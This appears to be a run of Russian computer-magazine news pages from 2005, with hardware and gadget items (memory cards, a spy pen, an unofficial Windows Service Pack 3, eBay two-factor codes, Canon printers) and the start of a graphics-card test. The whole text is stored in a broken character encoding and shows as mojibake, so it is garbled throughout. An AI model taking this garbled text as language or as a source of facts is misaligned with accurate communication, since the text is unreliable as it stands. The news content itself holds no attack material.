ðåâíîâàíèè ñ Àíòîíè Ðóýëåì èç Ôðàíöèè Ìàòâåé äîáèëñÿ áëèñòàòåëü-
íîé ïîáåäû. Íàãðàäû ïîáåäèòåëÿì è ôèíàëèñòàì âðó÷èëè âèöå-ïðåçè-
äåíò êîìïàíèè Wizards of the Coast Äæî Õîê è Ðè÷àðä Ãàðôèëä, ó÷åíûé-
ìàòåìàòèê, ñîçäàòåëü èãðû Magic: The Gathering.

ÏÎÁÅÄÈÒÅËÈ 
ÊÎÍÊÓÐÑÀ ÃÀÐÍÜÅÐ
Ñïèñîê ïîáåäèâøèõ:
Ôèëèïïîâà Îëüãà, Àãàôîíîâà Èðèíà, Íèêèòèí Àëåêñàíäð, Âèøíÿêîâ
Þðèé, Êîðñàêîâ Ìàêñèì, Ìèðñêèõ Åêàòåðèíà, Íàóìîâ Àëåêñàíäð,
Ñòðåëüíèêîâà Òàòüÿíà, Ñàäåëîâ Îëåã, Øóìêîâ Åâãåíèé, Ìàëåíêîâ
Àíäðåé, Ìîõíà÷ Êàðèíà, Áóáåíêîâ Èãîðü, Êîðîëåâà Íàòàøà, Ïåòðîâ
Ñåðãåé, Ñíåãîâ Âèòàëèé, Ìàâðèí Äåíèñ, Íîâèêîâ Âàëåðèé, Íàñèáîâ
Ìóðàä, Ãîðáóøèíà Âàëåíòèíà, Âàãèí Äìèòðèé, Âîðøåâ Äåíèñ, Ãîëó-

áåâà Àíÿ, Ãîëîëîáîâ Åãîð, Ãóðîâ Ñåðãåé, Âåðá-
ëþäåíêî Ïàâåë, Ôîìåíêî Èãîðü, Âàõðàìîâ Àëåê-
ñåé, Äåíèñîâ Èãîðü, Çàõàðîâ Îëåã, Çîëîòàðåâ
Àíäðåé, Èáðàãèìîâà Ëåíà, Êàòûêèí Ìàêñèì, Áû-
êîâà Îëüãà, Âàñèí Ìèõàèë, Âëàñîâà Àíàñòàñèÿ,
Êàìûøêî Îëåã, Êîòåëåíåö Òàòüÿíà, Êàðàâàé Åâ-
ãåíèé, Ìàøêîâ Ñåðãåé, Ìèòðîôàíîâà Ñâåòà,
Ìàñëåíêî Àëåêñàíäð, Áàðàêîâ Íèêîëàé, Îñòàø-
êèí Àëåêñåé, Íèêîëàåâ Ìèõàèë, Ïîòàïîâà Òàòüÿ-
íà, Ðåøåòèëîâ Ãåîðãèé, Ïåíüêîâ Ñåðãåé, Ñàôðî-
íîâà Åëåíà, Ôåäîðîâà Íèíà.

HARDNEWS HITECHNEWS 

ÌÀËÛØÈ ÏÐÈØËÈ
Ìîäà íà ìèíèìèçàöèþ âñåâîçìîæíûõ óñòðîéñòâ, ïîõîæå, íå ñîáèðàåò-
ñÿ ïðåêðàùàòüñÿ, à íàîáîðîò, íàáèðàåò ñèëó. Íî ÷òîáû ïëååðû, ñîòîâûå
òåëåôîíû è ïðî÷èå äåâàéñû ñòàíîâèëèñü ìèíèàòþðíåå, íóæíî óìåíü-
øàòü âñå èõ êîìïîíåíòû, âêëþ÷àÿ òî, íà ÷åì õðàíÿòñÿ äàííûå. Ôëýø-
êàðòàìè ñ ïðèñòàâêîé mini óæå äàâíî íèêîãî íå óäèâèòü, à âîò micro ïî-
êà åùå â íîâèíêó. Ñåãîäíÿ äî ýòîãî ðàçìåðà óìåíüøèëèñü êàðòî÷êè SD
è Memory Stick. Ïîñëåäíÿÿ èìååò ðàçìåð 15x12,5x1,2 ìì, ÷òî ñîñòàâëÿ-
åò ìåíåå ÷åòâåðòè ðàçìåðà Memory Stick PRO Duo. Ìàêñèìàëüíàÿ åì-
êîñòü íîñèòåëÿ 32 Ãá, à ìàêñèìàëüíàÿ ïðîïóñêíàÿ ñïîñîáíîñòü 160
Ìá/ñ. Êàðòà ìîæåò ðàáîòàòü ñ íàïðÿæåíèåì 3,3 è 1,8 Â. Ìàëåíüêàÿ SD
îáëàäàåò òàêèìè ïàðàìåòðàìè: îíà â ïÿòü ðàç ìåíüøå ñâîåé ïîëíîðàç-
ìåðíîé ñåñòðû, ñêîðîñòü ïåðåäà÷è äàííûõ ñîñòàâëÿåò 10 Ìá/ñ. ×òîáû
òàêèå ìàëþòêè ÷èòàëèñü îáû÷íûì êàðä-ðèäåðîì, íóæíî èñïîëüçîâàòü
ñïåöèàëüíûé ïåðåõîäíèê.

ØÏÈÎÍÑÊÀß ÐÓ×ÊÀ
Â àìåðèêàíñêîì ìàãàçèíå GadgetUniverse.com â ïðîäàæó ïîñòóïèëà
óíèêàëüíàÿ øïèîíñêàÿ ðó÷êà, îáîðóäîâàííàÿ âñòðîåííîé öèôðîâîé êà-
ìåðîé. Ïî ðàçìåðó óñòðîéñòâî ïðàêòè÷åñêè íå îòëè÷àåòñÿ îò îáûêíî-
âåííîé øàðèêîâîé ðó÷êè, à îáúåêòèâ êàìåðû ïî÷òè íå çàìåòåí, òàê ÷òî
åå âïîëíå ìîæíî èñïîëüçîâàòü äëÿ ðàçëè÷íûõ çàïàäëîñòðîèòåëüíûõ
îïåðàöèé ñðåäíåé ñåêðåòíîñòè. Âîò òîëüêî, óâû, óñòðîéñòâî âûãëÿäèò
íåìíîãî óñòàðåâøåé íà ôîíå ñîâðåìåííûõ òåõíîëîãèé. Ðàçðåøåíèå
ñíèìêîâ ðàâíÿåòñÿ æàëêèì 160õ120, âñòðîåííàÿ ïàìÿòü ñîñòàâëÿåò
ëèøü 2 Ìá, êóäà âëåçàåò âñåãî 36 ôîòîãðàôèé, à ñàì äåâàéñ ïîäêëþ÷à-
åòñÿ ê êîìïó ÷åðåç COM ïîðò. Ñêîðåå âñåãî, òàêèå ñêðîìíûå õàðàêòå-
ðèñòèêè � ïîñëåäñòâèÿ ãîíêè çà êîìïàêòíûìè ðàçìåðàìè, íî äàæå
íåñìîòðÿ íà ýòî, îíà âñå ðàâíî ïðåäñòàâëÿåò îïðåäåëåííûé èíòåðåñ.
Çà òî, ÷òîáû òàêèì îáðàçîì ïî÷óâñòâîâàòü ñåáÿ â øêóðå Äæåéìñà Áîí-
äà, ïðèäåòñÿ îáëåã÷èòü ñâîé êîøåëåê íà 69.95 áåçóñëîâíûõ åäèíèö.
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ÔÀËÜØÈÂÛÉ 
SERVICE PACK
«Íà ñàéòå hotfix.net ïîÿâèëñÿ Service Pack 3!!!». Òàêóþ íîâîñòü íåäàâíî òðóáèëè êîìïü-
þòåðíûå ôîðóìû, òàì æå óêàçûâàëîñü, êàêèå áàãè îí èñïðàâëÿåò. Íîâîñòü, êîíå÷íî,
èíòåðåñíàÿ, òîëüêî âîò Microsoft îò íåå îêàçàëàñü äàëåêî íå â âîñòîðãå. Äåëî â òîì,
÷òî ýòîò SP3 � íåîôèöèàëüíûé, è íèêàêîãî îòíîøåíèÿ ê êîìïàíèè Áèëëà íå èìååò.
Àíàëèòèê Microsoft Ìàéê Áðýííèãåí âûñòóïèë ñ çàÿâëåíèåì, â êîòîðîì êàòåãîðè÷åñêè
íå ñîâåòóåò óñòàíàâëèâàòü ýòî îáíîâëåíèå, ïîòîìó ÷òî îíî, õîòü è èñïðàâëÿåò ÷àñòü
îøèáîê, íî âíîñèò íîâûå, ðàçðóøàÿ âçàèìîñâÿçü êîìïîíåíòîâ ÎÑ. Microsoft äàæå ïðî-
âåëà ñîáñòâåííîå ðàññëåäîâàíèå, â ðåçóëüòàòå êîòîðîãî âûÿñíèëà, ÷òî âïåðâûå ýòîò
ïàê ïîÿâèëñÿ íà Google Group, à âûëîæåí áûë ñ öåëüþ ïîäîðâàòü àâòîðèòåò êîìïàíèè
åå çëåéøèì êîíêóðåíòîì. Â îòâåò íà ñëîâà Ìàéêà, ñâîå çàÿâëåíèå äàë ñîçäàòåëü hot-
fix.net Ýòàí Ýëëåí, êîòîðûé ïðèçíàåò íåîôèöèàëüíîñòü SP3, íî ñ÷èòàåò åãî óñòàíîâêó
íåîáõîäèìîé èç-çà êîëè÷åñòâà áàãîâ â ÎÑ. Îí òàêæå çàâåðèë, ÷òî Google íèêàêîãî îò-
íîøåíèÿ ê ñåðâèñ-ïàêó íå èìååò, è ïîëó÷èë îí åãî îò çíàêîìîãî, ðàáîòàþùåãî â
Microsoft. Îôèöèàëüíûé æå ðåëèç Windows SP 3 íàìå÷åí íà êîíåö 2006 ãîäà.

EBAY ÄÀÅÒ ÍÎÂÓÞ 
ÇÀÙÈÒÓ ÊËÈÅÍÒÀÌ
Î÷åâèäíî, ðàáîòíèêîâ Ebay äîñòàëè æàëîáû êëèåíòîâ î ïîñòîÿííûõ íàäóâàòåëüñòâàõ
è ñëó÷àÿõ âîðîâñòâà íîìåðîâ êðåäèòîê. Ïîòîìó ÷òî íåäàâíî êðóïíåéøèé îíëàéíîâûé
àóêöèîí ïðèêóïèë çà 370 ìèëëèîíîâ äîëëàðîâ íîâóþ ñèñòåìó àóòåíòèôèêàöèè ó êîì-
ïàíèè Verisign. Òåïåðü íà Ebay áóäåò èñïîëüçîâàòüñÿ äâîéíàÿ ïðîâåðêà òâîåé ëè÷íîñ-
òè íàðÿäó ñ äåéñòâóþùåé ñèñòåìîé Paypal. Â ñëåäóþùåì ãîäó áîëåå ìèëëèîíà êëèåí-
òîâ Ebay ïîëó÷àò øåñòèçíà÷íûå êîäû, êîòîðûå íóæíî áóäåò ââîäèòü âìåñòå ñ ïàðîëåì.
Êîä ìåíÿåòñÿ åæåìèíóòíî è óíèêàëåí äëÿ ñîâåðøåíèÿ êàæäîé ïëàòåæíîé îïåðàöèè.
Ñäåðóò ëè ñ êëèåíòîâ äåíåæêè çà ïîâûøåííóþ áåçîïàñíîñòü, áóäåò îáúÿâëåíî ïîçæå,
õîòÿ, äóìàþ, äîõîäîâ àóêöèîíà äîëæíî õâàòàòü, ÷òîáû ïîçâîëèòü ñåáå 10 òàêèõ ñèñòåì.
Ïðîäóêöèÿ Verisig, êñòàòè, óæå äàâíî ïðîâåðåíà âðåìåíåì è äîñòàòî÷íî ïîïóëÿðíà ñðå-
äè êîìïàíèé, çàáîòÿùèõñÿ î áåçîïàñíîñòè ñâîèõ ñåðâèñîâ.

][NEWS



CANON Ñ ÎÁÍÎÂÊÎÉ

20 ñåíòÿáðÿ 2005 ãîäà â çàëå òîðæåñòâ «Ôîðóì Õîëë» ïðîøëà ãðàíäèîç-
íàÿ ïðåçåíòàöèÿ íîâûõ öâåòíûõ ïðèíòåðîâ êîìïàíèè Canon. Êîìïàíèÿ
Canon ïðåäñòàâèëà òðè íîâûå ìîäåëè ëàçåðíûõ ÌÔÓ ñåðèè LaserBase:
LaserBase MF5730, MF5750, MF5770, íîâûé öâåòíîé ëàçåðíûé ïðèíòåð
Laser Shot LBP5200, à òàêæå àíîíñèðîâàííûå ëåòîì äâà íîâûõ ëàçåðíûõ
ôàêñà � Canon Fax-L120 è Fax-L100. Òàêæå êîìïàíèÿ Canon íå îáîøëà è
ïðèíòåðû äëÿ ïðîôåññèîíàëüíûé ôîòîïå÷àòè. Canon ïðåäñòàâèëà îáíîâ-
ëåííûé ìîäåëüíûé ðÿä ìíîãîôóíêöèîíàëüíûõ óñòðîéñòâ ñ ôóíêöèåé
ïðîôåññèîíàëüíîé ôîòîïå÷àòè ñåðèè PIXMA � PIXMA MP150, MP170,
MP450, MP500 è PIXMA MP800 � ïåðâîêëàññíóþ ìîäåëü ñ ôóíêöèåé ïðî-
ôåññèîíàëüíîé ôîòîïå÷àòè. Äåìîíñòðàöèÿ âñåõ âîçìîæíîñòåé íîâûõ
ïðèíòåðîâ â äåéñòâèè ñîñòîÿëàñü ïî îêîí÷àíèè äåëîâîé ÷àñòè. «Çàæèãàé
âñåìè êðàñêàìè» � ñòèëüíûå ïðèíòåðû, ñòèëüíûå äåâóøêè íà ìîòîöèê-
ëàõ, ñâåò, ìóçûêà è ìíîãî-ìíîãî öâåòà ðàñïå÷àòàííûõ ôîòîãðàôèé ïðîèç-
âåëè íà ó÷àñòíèêîâ ïðåçåíòàöèè ïîèñòèíå çàæèãàþùåå âïå÷àòëåíèå.

ÑÊÐÅÑÒÈÌ 
ÔÎÒÈÊ È ÏËÅÅÐ

Îáû÷íûìè ôëýø-ïëååðàìè ñåãîäíÿ íèêîãî íå
óäèâèøü, âîò êîìïàíèè-ïðîèçâîäèòåëè è ñòàðà-
þòñÿ ïåðåùåãîëÿòü äðóã äðóãà äèçàéíîì ñâîèõ
óñòðîéñòâ èëè ÷åì-òî åùå, íàïðÿìóþ ñ ôóíêöè-
îíàëîì íå ñâÿçàííûì. Íî êîðïîðàöèÿ Samsung
ðåøèëà ïîéòè äðóãèì ïóòåì è ïðåäñòàâèëà íàì

ãèáðèä îáû÷íîãî ôëýø-ïëååðà ñ öèôðîâûì ôîòîàïïàðàòîì. Ýòî ñåðèÿ
Miniket, ïðåäñòàâëåííàÿ ìîäåëÿìè VP-MS15, VP-MS11 è VP-MS10, êîòî-
ðûå èìåþò ðàçíûé îáúåì âñòðîåííîé ïàìÿòè (äî 512 Ìá), à îáúåäèíÿåò
èõ 5-ìåãàïèêñåëüíîå ðàçðåøåíèå ñåíñîðà, 3-õ êðàòíûé îïòè÷åñêèé è 15-
òè êðàòíûé öèôðîâîé çóì, ñèñòåìà öèôðîâîé ñòàáèëèçàöèè äëÿ óñòðà-
íåíèÿ ïîñëåäñòâèé òðÿñóùèõñÿ ðóê, à òàêæå âîçìîæíîñòè çàïèñè âèäå ñ
êà÷åñòâîì äî 30 fps. Íå î÷åíü áîëüøîé îáúåì ïàìÿòè ìîæíî ðàñøèðèòü
çà ñ÷åò êàðòî÷êè miniSD, à ïå÷àòàòü ïîëó÷èâøèåñÿ ôîòîãðàôèè âîçìîæ-
íî êàê ñ êîìïüþòåðà (÷åðåç ïîðò USB 2.0), òàê è íàïðÿìóþ ñ ïðèíòåðà
(òåõíîëîãèÿ PictBridge). Íà÷àëî ïðîäàæ îæèäàåòñÿ â íîÿáðå.

HITECHNEWSHARDNEWS

Î×ÊÈ ÀÍÒÈÑÏÀÌ
Òû íå óñòàë îò ìåãàòîíí ñïàìà, êîòîðûé âàëèòñÿ â òâîé ïî÷òîâûé ÿùèê,
à îò ñîòåí ðåêëàìíûõ áàííåðîâ íà òâîèõ ëþáèìûõ ñòðàíèöàõ? Îäíàêî
ñî âñåì ýòèì åùå ìîæíî êàê-òî áîðîòüñÿ, ñóùåñòâóþò ðàçëè÷íûå ñïàì-
ôèëüòðû è áëîêèðàòîðû, êîòîðûå ïðè äîëæíîé íàñòðîéêå áîëåå ëè ìå-
íåå ðåøàþò ïðîáëåìó. À âîò îò óëè÷íûõ ðåêëàìíûõ ïëàêàòîâ óæå òàê
ïðîñòî íå îòäåëàåøüñÿ. Ïîâåðíóòü ãîëîâó â äðóãóþ ñòîðîíó îáû÷íî íå
ïîìîãàåò, ñêîðåå âñåãî è òàì òåáÿ áóäåò ïîäæèäàòü î÷åðåäíîå òâîðåíèå
êðèâîðóêèõ ðåêëàìùèêîâ, à åñëè õîäèòü è ñðûâàòü ïëàêàòû, òî íàøà
äîáëåñòíàÿ ìèëèöèÿ íàâåðíÿêà òåáÿ íå ñîâñåì ïðàâèëüíî ïîéìåò. Âîò
åñëè áûëè áû òàêèå âîëøåáíûå î÷êè, ÷åðåç êîòîðûå áûëî áû âèäíî,
òîëüêî òî, ÷òî òû õî÷åøü� À âåäü íà ñàìîì äåëå òàêàÿ ðàçðàáîòêà óæå
ñóùåñòâóåò, è íàçûâàåòñÿ ýòî ÷óäî òåõíèêè � SeeFree glasses. Âíåøíå
óñòðîéñòâî íàïîìèíàåò ìîäíûå ñîëíå÷íûå î÷êè, ðàçâå ÷òî ñëåãêà áîëü-
øåãî ðàçìåðà. Äåâàéñ ðàáîòàåò ñëåäóþùèì îáðàçîì: íàä ñòåêëàìè íà-
õîäÿòñÿ íåçàìåòíûå ìèíèàòþðíûå âèäåîêàìåðû, êîòîðûå ïîñòîÿííî ïå-
ðåäàþò èçîáðàæåíèå ê âñòðîåííîìó ìèêðîïðîöåññîðó. Äàëåå êàðòèíêà
â ðåàëüíîì âðåìåíè îáðàáàòûâàåòñÿ, íà íåé îáíàðóæèâàþòñÿ íåæåëà-
òåëüíûå ðåêëàìíûå ýëåìåíòû, êîòîðûå çàêðàøèâàþòñÿ ñåðûì öâåòîì,
à çàòåì óæå îáðàáîòàííîå èçîáðàæåíèå ïðîåöèðóåòñÿ íà ñåò÷àòêó. Ïðè-
÷åì ñòåêëà ïîëíîñòüþ ïðîçðà÷íû, à ïðîåöèðóåòñÿ ëèøü ìàñêà, ïåðåêðû-
âàþùàÿ ðåêëàìó. Â ðåçóëüòàòå òû âèäèøü àáñîëþòíî âñå òî æå ñàìîå,
òîëüêî áåç ðåêëàìû. Ñîçäàòåëè ïðîäâèãàþò ñâîå èçîáðåòåíèå ïðåèìó-
ùåñòâåííî äëÿ àâòîìîáèëèñòîâ, ÷òîáû ðåêëàìà ëèøíèé ðàç íå îòâëåêà-
ëà èõ âî âðåìÿ äâèæåíèÿ, à òàêæå äëÿ òóðèñòîâ, ÷òîáû òåáå ìîãëè íàñ-
ëàäèòüñÿ ïðåëåñòÿìè ïîñåùàåìîãî ãîðîäà â åãî ïåðâîçäàííîé êðàñå.
Õàé-òåê î÷êè óæå â
áëèæàéøåå âðåìÿ
ïðåäïîëàãàåòñÿ ïðî-
èçâîäèòü ñåðèéíî, à
ïåðâîíà÷àëüíàÿ öåíà
íà íèõ ñîñòàâèò ïðè-
ìåðíî 1,5 êèëîáàêñà.
Êñòàòè, óæå ðàçðàáà-
òûâàþòñÿ è áîëåå
ñìåëûå ðåøåíèÿ,
íàïðèìåð, ìîæíî áó-
äåò íà ìåñòå ðåêëàìû
îòîáðàæàòü íå ñåðîå
ïÿòíî, à êàêóþ-íèáóäü
öåííóþ èíôîðìàöèþ,
íàïðèìåð, ñîäåðæà-
íèå òâîåãî ïî÷òîâîãî
ÿùèêà, íó, èëè ôîòîã-
ðàôèè îáíàæåííûõ äå-
âóøåê�

ÑÎÒÎÂÛÉ ÌÅÄÂÅÄÜ
Óæå äîøëî äî òîãî, ÷òî òåïåðü áåç ìîáèëüíèêà íå ìîãóò îáõîäèòüñÿ
äàæå äåòè, ïîýòîìó ñàìûå ðàñòîðîïíûå ïðîèçâîäèòåëè ñïåøàò ïîñêî-
ðåå çàíÿòü è ýòó íèøó. Íîâûé òåëåôîí � Buddy Bear Phone, âûïîë-
íåííûé â ôîðìå çàáàâíîãî ìåäâåäÿ, ïðåäíàçíà÷åí êàê ðàç äëÿ ñàìûõ
ìàëåíüêèõ: äåòåé â âîçðàñòå îò 3 äî 10 ëåò. Êîíå÷íî, ìåäâåæîíîê íå
ÿâëÿåòñÿ ïîëíîöåííûì òåëåôîíîì, ó íåãî äàæå è äèñïëåÿ íåò, íî äå-
òÿì ýòî ñîáñòâåííî è íè ê ÷åìó. Ñ òåëåôîíà ìîæíî îòâå÷àòü íà âñå
çâîíêè (íàæàòü ìåäâåäþ íà íîñ ñïðàâà), à âîò
çâîíèòü ìîæíî ëèøü íà ÷åòûðå çàðàíåå çàï-
ðîãðàììèðîâàííûõ íîìåðà (íàæàòü íà ñîîò-
âåòñòâóþùóþ ëàïó), òàêæå íà ýòè íîìåðà
ìîæíî ïîñëàòü ñìñ ñ çàðàíåå çàïèñàííûì
òåêñòîì, à åùå ðåáåíîê â ñëó÷àå ÷åãî ìîæåò
âûçâàòü ýêñòðåííóþ ñëóæáó (íàæàòü ìåäâåäþ
ïîä óõîì). Ðîäèòåëè ìîãóò ïîëíîñòüþ óïðàâ-
ëÿòü ìîáèëüíèêîì äèñòàíöèîííî (äëÿ ýòîãî
íàäî çíàòü PIN-êîä), à åñëè òåëåôîí ðåáåíêà
ðàçðÿäèòñÿ, òî ðîäèòåëè áóäóò îïîâåùåíû îá
ýòîì ïî ñìñ. Âîò òîëüêî öåíà íà äåòñêèé ìî-
áèëüíèê � ñîâñåì íå äåòñêàÿ, èãðóøêà îáîé-
äåòñÿ ïðèìåðíî â 130 åâðî. [X
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HITECHNEWS 

WI-FI ÐÞÊÇÀÊ

Ñïèñîê óñòðîéñòâ, áåç êîòîðûõ ìû íå ìîæåì ïðîæèòü è äíÿ, èç ãîäà â ãîä ïîñòîÿííî
óâåëè÷èâàåòñÿ. Â ïîñëåäíåå âðåìÿ â ýòîò ñïèñîê æèçíåííûõ íåîáõîäèìîñòåé äîáà-
âèëñÿ è áåñïðîâîäíûé Èíòåðíåò ÷åðåç Wi-Fi. À åñëè òû ñîáðàëñÿ, íàïðèìåð, â ïîõîä,
òî îòêóäà òàì, â îòñóòñòâèå âñÿêèõ ñåðâåðîâ, âçÿòü Wi-Fi? Ïðàâèëüíî, òîëüêî âçÿòü
ñàì ñåðâåð ñ ñîáîé. Ïîäîáíûé ïðîåêò, ïîä íàçâàíèåì Wi-Fi.Bedouin, ðàçðàáàòûâàåò-
ñÿ ýíòóçèàñòàìè åùå ñ 2003 ãîäà è âîò òîëüêî ñåé÷àñ, íàêîíåö, äîáðàëñÿ äî ôèíàëü-
íîé ñòàäèè. Óíèêàëüíûé äåâàéñ ñîáðàí èç íîóòáóêà PowerBook G4, òî÷êè äîñòóïà
802.11b, óñèëèòåëÿ ñèãíàëà è áàòàðåè íà 6000 ìÀ/÷, ïðè÷åì âñå ýòî óïàêîâàíî â êîì-
ïàêòíûé ñòèëüíûé ðþêçàê. Ïðîãðàììíîå îáåñïå÷åíèå Wi-Fi.Bedouin ïîçâîëÿåò îðãà-
íèçîâàòü âýá-ñåðâåð, à òàêæå âåäåíèå áëîãîâ è ÷àòîâ. Ïðè ïîïûòêå äîñòóïà ê ïîëíî-
öåííûì âýá-ñàéòàì, ñåðâåð áóäåò àâòîìàòè÷åñêè ïåðåíàïðàâëÿòü òåáÿ ê ëîêàëüíûì
ñõîäíûì ñòðàíèöàì. Êîíå÷íî, ïîäîáíûé ñèìóëÿòîð Èíòåðíåòà íèêàê íå ñâÿçàí ñ ñà-
ìîé ãëîáàëüíîé ñåòüþ, íî äëÿ áåçðûáüÿ è ýòîãî áóäåò áîëåå ÷åì äîñòàòî÷íî. Äëÿ óï-
ðàâëåíèÿ ñåðâåðîì íà âíåøíåé ñòîðîíå çàêðåïëåí ÊÏÊ iPAQ 2200, êîòîðûé, êàê íè
ñòðàííî, ñâÿçàí ñ ñåðâåðîì òàêæå ÷åðåç Wi-Fi. Íà ÊÏÊ òàêæå îòîáðàæàåòñÿ òâîå ìåñ-
òîíàõîæäåíèå, îïðåäåëÿåìîå ïðè ïîìîùè GPS, è îáîçíà÷àåòñÿ àêòèâíîñòü Wi-Fi.

ÏÐÀÊÒÈ×ÍÀß
ÊËÀÂÈÀÒÓÐÀ
Åñëè òû óæå îò÷àÿëñÿ íàâåñòè íà ñâîåì ñòîëå ïîðÿäîê, òî, âîçìîæíî, òåáå ñìîæåò
ïîìî÷ü ñëåäóþùèé êðàéíå ïðàêòè÷íûé ãàäæåò. Íà ïåðâûé âçãëÿä Keyboard Desk
Tidy íè÷åì íå îòëè÷àåòñÿ îò ñòàíäàðòíîé ïîëíîðàçìåðíîé êëàâèàòóðû, îäíàêî, åñ-
ëè ïðèñìîòðåòüñÿ, òî íà ïåðåäíåé êðîìêå ìîæíî îáíàðóæèòü íåáîëüøóþ ðó÷êó,
ïîòÿíóâ çà êîòîðóþ, òû ñìîæåøü ïîäíÿòü âåðõíþþ êðûøêó êëàâèàòóðû è ñ óäèâ-
ëåíèåì îáíàðóæèòü ïîä íåé îòñåê äëÿ âñÿêèõ ìåëî÷åé. Äåéñòâèòåëüíî ýòî � âåñü-

ìà òîëêîâîå èçîáðåòåíèå, âåäü
îáû÷íî êëàâèàòóðà çàíèìàþò îñ-
íîâíóþ ÷àñòü ðàáî÷åãî ìåñòà, à
åãî, êàê èçâåñòíî, íàäî èñïîëüçî-
âàòü ðàöèîíàëüíî. Â íèæíèé îò-
ñåê ìîæíî çàïðÿòàòü âñÿêèå ðó÷-
êè, êàðàíäàøè, ëàñòèêè, íîæíèöû
è ïðî÷èé êàíöåëÿðñêèé õëàì, à
òàêæå íåñêîëüêî áîëâàíîê (äëÿ
íèõ ñïåöèàëüíîå îòäåëåíèå), êó÷ó
ôëýøåê è åùå ìíîãî ÷åãî. Ïîñëå
ýòîãî åñòü âñå øàíñû, ÷òî íà ñòî-
ëå îáðàçóåòñÿ íå÷òî íàïîìèíàþ-
ùåå ïîðÿäîê. Íîâèíêà óæå íàõî-
äèòñÿ â ñâîáîäíîé ïðîäàæå è ãî-
òîâà îòäàòüñÿ â õîðîøèå ðóêè çà
24.95 åâðî.
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ÑÅÄÜÌÎÅ ÏÏÎÊÎËÅÍÈÅ ÃÃÐÀÔÈ×ÅÑÊÈÕ ÊÊÀÐÒ
Ãðàôè÷åñêèå êàðòû � ýòî íàèáîëåå ïðîãðåññèâíî ðàçâèâàþùèéñÿ è âîñòðåáîâàííûé ïðîäóêò íà ñåãîäíÿøíåì ðûíêå êîìïüþ-
òåðíîé èíäóñòðèè. Ñ òåõ ïîð, êîãäà âûïóñêàòü è ðàçâèâàòü ãðàôè÷åñêèå ÷èïû, à òàêæå óñïåøíî êîíêóðèðîâàòü íà äàííîì ïîï-
ðèùå ìîãëà êàæäàÿ IT-Êîìïàíèÿ, óæå óòåêëî ìíîãî âîäû. Ñåé÷àñ ñðåäè áûòîâûõ âèäåîïðîèçâîäèòåëåé äëÿ PC îñòàëèñü òîëü-
êî äâà ãèãàíòà � Nvidia è Ati. Êàæäûé èç íèõ, ïûòàÿñü ïðîäåìîíñòðèðîâàòü ñâîå ïðåâîñõîäñòâî, ïîî÷åðåäíî äåëàåò øàã, âûïóñ-
êàÿ âèäåîàäàïåòðû ñî âñå íîâûìè è íîâûìè ïðîöåññîðàìè, è æäåò îòâåòà êîíêóðåíòà. À ìû ðàññìîòðèì è îöåíèì âèäåîêàð-
òî÷êè íà îñíîâå ÷èïîâ îò äàííûõ êîìïàíèé, êîòîðûå åùå äîëãî áóäóò çàäàâàòü òîí êàê äëÿ ãåéìåðà, òàê è äëÿ îâåðêëîêåðà.

ASUS EXTREME N7800 GTX TOP  | ASUS EXTREME
N7800 GT  | MSI NX6800  | MSI NX6800 ULTRA
MSI NX7800 GTX  | AOPEN AEOLUS 7800 GTX
SAPHIRE ATI RADEON X800 XL  | SAPHIRE ATI
RADEON X850 XT  | SAPHIRE ATI RADEON X1800
XL  | GIGABYTE GV-3D1-68GT



Âîçðàäóéòåñü, î æàæäóùèå ãàìàòü áåç òîðìîçîâ â áëèæàéøèå ãîäû! Äàííûé òåñò ìû ðåøè-
ëè ïîñâÿòèòü ïîêîëåíèþ âèäåîêàðò, êîòîðîå äàâíî óæå óìîïîìðà÷èòåëüíûì îáðàçîì áüåò
âñå ðåêîðäû ïî ïðîèçâîäèòåëüíîñòè, â ÷åì ìû äîâîëüíî ñêîðî óæå óáåäèìñÿ. Íî ïðåæäå
÷åì ãîâîðèòü î ïðåòåíäåíòàõ íà ïîñò «ñàìîãî êðóòîãî âèäåîàäàïòåðà» è ðåçóëüòàòàõ íàøå-
ãî ýêñïåðèìåíòà, ðàññêàæåì íåìíîãî î òåõíè÷åñêîì àñïåêòå ðàññìàòðèâàåìîãî âîïðîñà.

Òåñòèðîâàíèå ïðîâîäèëîñü áîëåå ÷åì ñòàíäàðò-
íûì ìåòîäîì, êîòîðûé ïîçâîëÿåò ìàêñèìàëü-
íî îáúåêòèâíî îöåíèòü ïðîèçâîäèòåëüíîñòü
òîãî èëè èíîãî ãðàôè÷åñêîãî àäàïòåðà. Ïåðâî-
íà÷àëüíî ìû îöåíèâàåì âíåøíèå ïàðàìåòðû
êàðò, òî åñòü äèçàéí, êîìïëåêòàöèþ, à òàêæå
öåíó íà ïðîäóêò. Çàòåì ïåðåõîäèì ê òåõíîëî-
ãè÷åñêîìó òåñòèðîâàíèþ. Ýòî îçíà÷àåò, ÷òî
ìû çàïóñêàåì êàðòî÷êè íà ðàçëè÷íûõ èãðîâûõ
ïëàòôîðìàõ, òàêèõ êàê Doom3, FarCry, HalfLife
2 è çàìåðÿåì FPS ïðè çàäàííûõ ïàðàìåòðàõ
ðàçðåøåíèÿ(1024x768 è 1600õ1200). Äëÿ íàñ

òàêæå íåìàëîâàæíûì ôàêòîðîì ÿâëÿåòñÿ ïîë-
íàÿ îöåíêà ñèñòåìû âûïîëíåííàÿ ñ ïîìîùüþ
òàêèõ áåí÷ìàðêîâ, êàê 3D Mark 2005 è 3D Mark
2003 äëÿ ðàçðåøåíèÿ 1024õ768. Åäèíñòâåííîé
òðóäíîñòüþ ïðè òåñòèðîâàíèè áûë íåäîñòàòîê
ïèòàíèÿ, íî ýòà ïðîáëåìà ðåøàëàñü ïîäêëþ÷å-
íèåì ïàðàëëåëüíîãî áëîêà äëÿ ýíåðãîîáåñïå-
÷åíèÿ íåïîñðåäñòâåííî ñàìîé âèäåîêàðòû.
Ñàìî ñîáîé äëÿ òàêèõ êðåïêèõ ïàðíåé, êàê íà-
øè ïîäîïûòíûå, ìû íå çàáûëè âêëþ÷èòü êàê
àíèçîòðîïíóþ ôèëüòðàöèþ (4õ óðîâåíü), 
òàê è àíòèàëàéçèíã (16õ óðîâåíü).

ÄÄÀÀÉÉÒÒÅÅ ÄÄÂÂÅÅ
Òåñòèðóåì Hi-End âèäåîàêñåëåðàòîðû

[intro]

[ìåòîäèêà òåñòèðîâàíèÿ]

[òåñòîâûé ñòåíä]

Ïðîöåññîð: AMD Athlon64 3800+ (Socket 939)
Ìàòåðèíñêàÿ ïëàòà: MSI K8N-SLI Diamond
Ïàìÿòü: Corsair CMXP512-3200XL (2x512Mb - dual)
Êóëåð: Thermaltake CL-P0114 Big Typhoon
Æåñòàê: Seagate Barracuda IDE 80Mb
Îïåðàöèîííàÿ ñèñòåìà: Windows XP Professional SP2
